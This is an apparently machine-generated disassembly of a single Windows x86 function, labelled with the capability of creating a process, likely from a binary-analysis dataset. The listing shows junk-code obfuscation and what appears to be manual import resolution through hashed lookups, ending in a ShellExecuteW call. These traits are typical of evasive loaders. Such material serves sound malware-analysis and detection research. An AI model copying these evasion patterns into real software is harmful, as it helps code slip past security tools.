Function at 0x1000f53e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10074bcb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x208
push esi
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x265ab3e9
mov dword [ebp - 0x110], 4
mov dword [ebp - 0x98], 5
push 4
lea ecx, [ebp - 0x1e8]
call fcn.10011c05
and dword [ebp - 4], 0
mov dword [ebp - 0x44], 0
jmp 0x1000f5a0
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jge 0x1000f5b3
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x34], 0x921ded68
jmp 0x1000f599
push 0xc0d
push 0x5a77
push 0x3e89
push 1
lea eax, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.1000ea90
add esp, 0x18
mov dword [ebp - 0x14], 0
jmp 0x1000f5e7
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x15
jge 0x1000f837
mov dword [ebp - 0x24], 0xfffffff6
lea eax, [ebp - 0x24]
push eax
push 0x40ce
push 0x36df
push 1
lea eax, [ebp - 0x10]
push eax
call fcn.1000eb43
add esp, 0x14
mov dword [ebp - 0x24], 0x10
jmp 0x1000f624
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x19
jge 0x1000f832
mov dword [ebp - 0x88], 6
mov dword [ebp - 0x10], 0
jmp 0x1000f648
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jl 0x1000f82d
push 1
lea ecx, [ebp - 0x16c]
call fcn.10011c05
mov byte [ebp - 4], 1
mov dword [ebp - 0x124], 0
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0
push 0x779c
call fcn.100115c4
add esp, 0x10
mov dword [ebp - 0x3c], 0
jmp 0x1000f697
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jge 0x1000f6ad
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x1dc], 0xd37f4a1d
jmp 0x1000f690
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x34], 0x582f
jge 0x1000f726
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x34], 0
je 0x1000f6df
mov eax, 0x3f6085e0
test eax, eax
je 0x1000f6df
cmp dword [ebp - 0x14], 0
je 0x1000f6df
mov dword [ebp - 0xc4], 1
jmp 0x1000f6e6
and dword [ebp - 0xc4], 0
imul eax, dword [ebp - 0xc4], 0xffff
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x34]
jne 0x1000f705
mov dword [ebp - 0x70], 1
jmp 0x1000f709
and dword [ebp - 0x70], 0
push 0
lea ecx, [ebp - 0x16c]
call fcn.10011c91
mov ecx, dword [ebp - 0x70]
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x24]
jne 0x1000f726
and dword [ebp - 0x6c], 0
jmp 0x1000f72d
mov dword [ebp - 0x6c], 1
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0x6c], eax
jge 0x1000f744
mov dword [ebp - 0xa8], 1
jmp 0x1000f74b
and dword [ebp - 0xa8], 0
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x124], eax
mov eax, 0x4027
test eax, eax
je 0x1000f7c9
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1dc]
mov dword [ebp - 0x1b0], eax
or eax, 0xffffffff
cmp eax, 0xb62b2faa
ja 0x1000f789
mov dword [ebp - 0x11c], 1
jmp 0x1000f790
and dword [ebp - 0x11c], 0
push 0
lea ecx, [ebp - 0x16c]
call fcn.10011c91
cmp dword [ebp - 0x88], 1
je 0x1000f7b3
xor eax, eax
je 0x1000f7b3
mov dword [ebp - 0x78], 1
jmp 0x1000f7b7
and dword [ebp - 0x78], 0
cmp dword [ebp - 0x78], 0xfffffffa
jb 0x1000f7c9
mov dword [ebp - 0xd0], 1
jmp 0x1000f7d0
and dword [ebp - 0xd0], 0
cmp dword [ebp - 0xd0], 0
jge 0x1000f7e2
mov dword [ebp - 0x80], 1
jmp 0x1000f7e6
and dword [ebp - 0x80], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x80], eax
jl 0x1000f7fa
mov dword [ebp - 0xb0], 1
jmp 0x1000f801
and dword [ebp - 0xb0], 0
mov eax, dword [ebp - 0xb0]
add eax, 0x77a71
sub eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x34], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x16c]
call fcn.10011c8c
jmp 0x1000f641
jmp 0x1000f61d
jmp 0x1000f5e0
mov dword [ebp - 0x14], 0
jmp 0x1000f847
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xf
jl 0x1000f97e
mov dword [ebp - 0x144], 0xffffffff
mov dword [ebp - 0x10], 0
jmp 0x1000f86b
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
je 0x1000f979
mov dword [ebp - 0x100], 1
mov dword [ebp - 0x50], 0
jmp 0x1000f88f
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x1000f8a5
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x198], 0x885a
jmp 0x1000f888
cmp dword [ebp - 0x10], 0
je 0x1000f8b0
jmp 0x1000f979
cmp dword [ebp - 0x14], 0
je 0x1000f909
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x198]
cmp dword [ebp + eax - 0x34], ecx
jl 0x1000f8da
mov dword [ebp - 0xf8], 1
jmp 0x1000f8e1
and dword [ebp - 0xf8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x198]
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x144], 0
je 0x1000f909
mov dword [ebp - 0xc8], 1
jmp 0x1000f910
and dword [ebp - 0xc8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x34]
cmp dword [ebp - 0xc8], eax
jle 0x1000f92e
mov dword [ebp - 0x90], 1
jmp 0x1000f935
and dword [ebp - 0x90], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x198]
cmp eax, dword [ebp - 0x90]
jl 0x1000f955
mov dword [ebp - 0xb8], 1
jmp 0x1000f95c
and dword [ebp - 0xb8], 0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x100], eax
jmp 0x1000f864
jmp 0x1000f840
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e8]
call fcn.10011c8c
jmp 0x1000f9a9
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
add eax, 4
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
add eax, 4
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp dword [eax], 0
je 0x100102cb
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov eax, dword [eax]
and eax, 0x80000000
je 0x1000f9f6
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov eax, dword [eax]
and eax, 0xffff
push eax
mov eax, dword [ebp + 8]
push dword [eax]
push 0xb582
push 0xba48
call fcn.100428a6
pop ecx
pop ecx
call eax
mov ecx, dword [ebp + 0x14]
mov ecx, dword [ecx]
mov dword [ecx], eax
jmp 0x1000feb6
push 3
lea ecx, [ebp - 0x178]
call fcn.10011c05
mov dword [ebp - 4], 2
mov dword [ebp - 0x28], 0xfffffffc
mov dword [ebp - 0xec], 0x7dcda720
lea eax, [ebp - 0x1fc]
push eax
push 1
lea eax, [ebp - 0x178]
push eax
push 0x73bc
push 0x486d
push 0x5711
push 0x2499
push 0x318a
push 0x548
call fcn.1000eba4
add esp, 0x24
push 0
lea ecx, [ebp - 0x178]
call fcn.10011c91
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 2
jmp 0x1000fa73
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x1000fbeb
mov dword [ebp - 0x48], 0xc4530722
mov dword [ebp - 0x108], 0x268f62c4
mov dword [ebp - 0x148], 7
mov dword [ebp - 0x18c], 1
mov dword [ebp - 0x188], 1
mov dword [ebp - 0x184], 1
mov dword [ebp - 0x180], 1
lea ecx, [ebp - 0x59]
call fcn.10011ca0
push eax
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x18c]
push eax
lea ecx, [ebp - 0x214]
call fcn.10011ca3
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1f8]
call fcn.10011c66
mov byte [ebp - 4], 3
mov dword [ebp - 0x48], 2
jmp 0x1000fb06
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x1000fbd7
push 2
lea ecx, [ebp - 0x1a4]
call fcn.10011c05
mov byte [ebp - 4], 4
mov dword [ebp - 0x12c], 0xaf953423
mov dword [ebp - 0x118], 0x477ae27
mov dword [ebp - 0x140], 1
mov dword [ebp - 0x13c], 3
push 1
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x1ac]
push eax
call fcn.1000ed21
add esp, 0xc
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1f8]
push eax
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0xec]
push eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x1a4]
push eax
push 0x225
push 0x4437
push 0
lea eax, [ebp - 0x12c]
push eax
call fcn.1000f297
add esp, 0x3c
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1a4]
call fcn.10011c8c
jmp 0x1000faff
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1f8]
call fcn.10011c8c
jmp 0x1000fa6c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x178]
call fcn.10011c8c
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax]
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x68], 0xfffffffc
mov dword [ebp - 0x54], 0xf0bc5021
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x58], 0xad8ea5f3
mov dword [ebp - 0x2c], 1
push 1
lea ecx, [ebp - 0x154]
call fcn.10011c05
mov dword [ebp - 4], 5
mov dword [ebp - 0x74], 0x34ccbb24
mov dword [ebp - 0x4c], 0
jmp 0x1000fc5f
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 4
jge 0x1000fc75
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x20c], 1
jmp 0x1000fc58
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0x5a2c
push 1
push 0x2902
call fcn.1000ed86
add esp, 0x14
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c0], eax
mov esi, dword [ebp - 0x2c]
push 0
lea ecx, [ebp - 0x154]
call fcn.10011c91
cmp esi, dword [eax]
jge 0x1000fccf
mov dword [ebp - 0xd8], 1
jmp 0x1000fcd6
and dword [ebp - 0xd8], 0
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x58]
imul ecx, dword [ebp - 0xd8]
cmp eax, ecx
jne 0x1000fcf6
mov dword [ebp - 0xa0], 1
jmp 0x1000fcfd
and dword [ebp - 0xa0], 0
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1cc], eax
push 0
lea ecx, [ebp - 0x154]
call fcn.10011c91
mov esi, eax
push 0
lea ecx, [ebp - 0x154]
call fcn.10011c91
mov ecx, dword [esi]
cmp ecx, dword [eax]
je 0x1000fd3d
mov dword [ebp - 0xc0], 1
jmp 0x1000fd44
and dword [ebp - 0xc0], 0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x20c], 0xfffffffd
push 0xfffffffffffffffd
pop eax
sub eax, dword [ebp - 0xc0]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20c]
imul eax, dword [ebp - 0x74]
cmp dword [ebp - 0x60], eax
jl 0x1000fd9f
mov byte [ebp - 0x1d], 0
push 0x3159
push 1
lea eax, [ebp - 0x1d]
push eax
push 0x18e
call fcn.1000ee30
add esp, 0x10
jmp 0x1000fe7f
mov dword [ebp - 0xf0], 0x855c71da
mov dword [ebp - 0x2c], 0
jmp 0x1000fdb9
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x16
jle 0x1000fe7f
mov dword [ebp - 0x38], 0x321a
mov dword [ebp - 0x120], 0xdc870af0
cmp dword [ebp - 0x38], 0
je 0x1000fddf
jmp 0x1000fe7f
mov dword [ebp - 0x30], 0
jmp 0x1000fdef
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffff7
jle 0x1000fe7a
mov dword [ebp - 0x128], 0xfffffff8
mov dword [ebp - 0x38], 0xffffffe5
jmp 0x1000fe13
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x11
jg 0x1000fe75
mov dword [ebp - 0xfc], 0xaf3
mov dword [ebp - 0xf4], 0xd2634d7f
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x30]
push eax
push 1
lea eax, [ebp - 0xf0]
push eax
push 0xd35
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.1000eec0
add esp, 0x30
jmp 0x1000fe0c
jmp 0x1000fde8
jmp 0x1000fdb2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x154]
call fcn.10011c8c
mov eax, dword [ebp - 0x104]
inc eax
inc eax
push eax
mov eax, dword [ebp + 8]
push dword [eax]
push 0xb582
push 0xba48
call fcn.100428a6
pop ecx
pop ecx
call eax
mov ecx, dword [ebp + 0x14]
mov ecx, dword [ecx]
mov dword [ecx], eax
push 0x2e8c
push 0x73e1
push 1
call fcn.1000f00f
add esp, 0xc
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
cmp dword [eax], 0
jne 0x100102c6
mov dword [ebp - 0x18], 0xdd1e1e87
push 3
lea ecx, [ebp - 0xe8]
call fcn.10011c05
mov dword [ebp - 4], 6
mov dword [ebp - 0x64], 0xfffffffc
mov dword [ebp - 0x10c], 0x7d77fc7d
mov dword [ebp - 0x40], 0
jmp 0x1000ff14
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x1000ff2a
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x160], 0
jmp 0x1000ff0d
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x40]
push eax
push 1
call fcn.1000f16f
add esp, 0xc
mov dword [ebp - 0x18], 2
jmp 0x1000ff4f
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x1000ff7f
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp + eax*4 - 0x160]
push 0
lea ecx, [ebp - 0xe8]
call fcn.10011c91
mov dword [eax], esi
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x160], 0
je 0x1000ff7d
jmp 0x1000ff7f
jmp 0x1000ff48
mov dword [ebp - 0x18], 0xd
jmp 0x1000ff8f
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x15
jl 0x100101a3
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0xac], 0x216709e1
mov dword [ebp - 0xbc], 0x8dad
mov dword [ebp - 0x114], 0xffffffff
mov byte [ebp - 0x1f], 0
push 1
push 0x283d
lea eax, [ebp - 0x1f]
push eax
push 0x2e10
call fcn.1000f1d8
add esp, 0x10
mov eax, 0x9c25
test eax, eax
je 0x1001014c
cmp dword [ebp - 0x1c], 0
je 0x10010135
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x160], 0
je 0x10010010
cmp dword [ebp - 0x1c], 0
je 0x10010010
mov dword [ebp - 0x7c], 1
jmp 0x10010014
and dword [ebp - 0x7c], 0
cmp dword [ebp - 0x7c], 0xffffffff
jge 0x10010026
mov dword [ebp - 0x84], 1
jmp 0x1001002d
and dword [ebp - 0x84], 0
cmp dword [ebp - 0x84], 0
jne 0x10010042
mov dword [ebp - 0x8c], 1
jmp 0x10010049
and dword [ebp - 0x8c], 0
push 2
lea ecx, [ebp - 0xe8]
call fcn.10011c91
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax]
jg 0x10010072
mov eax, 0xf0ef
test eax, eax
jne 0x10010072
and dword [ebp - 0x94], 0
jmp 0x1001007c
mov dword [ebp - 0x94], 1
mov esi, dword [ebp - 0x1c]
imul esi, dword [ebp - 0x94]
push 0
lea ecx, [ebp - 0xe8]
call fcn.10011c91
cmp esi, dword [eax]
jge 0x100100a3
mov dword [ebp - 0x9c], 1
jmp 0x100100aa
and dword [ebp - 0x9c], 0
cmp dword [ebp - 0x9c], 0xae3d4752
jb 0x100100d4
push 0
lea ecx, [ebp - 0xe8]
call fcn.10011c91
cmp dword [eax], 0
je 0x100100d4
mov dword [ebp - 0xa4], 1
jmp 0x100100db
and dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1d0], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x160]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1c], 0xa6f63eed
je 0x10010135
cmp dword [ebp - 0x10c], 0
je 0x10010135
mov dword [ebp - 0xb4], 1
jmp 0x1001013c
and dword [ebp - 0xb4], 0
imul eax, dword [ebp - 0xb4], 0x9f3c
add eax, dword [ebp - 0xbc]
cmp dword [ebp - 0xbc], 0
je 0x10010167
cmp dword [ebp - 0x1c], 0
je 0x10010167
mov dword [ebp - 0xcc], 1
jmp 0x1001016e
and dword [ebp - 0xcc], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0xcc]
jge 0x1001018b
mov dword [ebp - 0xd4], 1
jmp 0x10010192
and dword [ebp - 0xd4], 0
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x114], eax
jmp 0x1000ff88
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe8]
call fcn.10011c8c
push 1
lea eax, [ebp + 0x18]
push eax
call fcn.1000f255
pop ecx
pop ecx
push 1
lea ecx, [ebp - 0x138]
call fcn.10011c05
mov dword [ebp - 4], 7
mov dword [ebp - 0x1ec], 0xffffffff
push 0x5030
push 0x6e32
push 0x2068
push 0x2fcc
push 0x6353
push 0x53e0
push 0x4ec2
push 0x1887
push 0x5ef9
push 0x5de7
push 0x23aa
lea eax, [ebp - 0x1bc]
push eax
lea eax, [ebp - 0x138]
push eax
push 1
push 0x3206
call fcn.1000f297
add esp, 0x3c
mov byte [ebp - 0x20], 0
movzx eax, byte [ebp - 0x20]
test eax, eax
je 0x10010257
push 0x21ee
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
lea ecx, [ebp - 0x138]
call fcn.10011c91
and dword [eax], 0
jmp 0x1001028d
push 0
lea ecx, [ebp - 0x138]
call fcn.10011c91
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xdc]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x138]
call fcn.10011c91
cmp dword [eax], 0x11
jge 0x100102b5
mov byte [ebp - 0x1e], 0
movzx eax, byte [ebp - 0x1e]
test eax, eax
je 0x100102b3
push 1
call fcn.1000f51d
pop ecx
jmp 0x10010269
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x138]
call fcn.10011c8c
jmp 0x100102cb
jmp 0x1000f98f
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret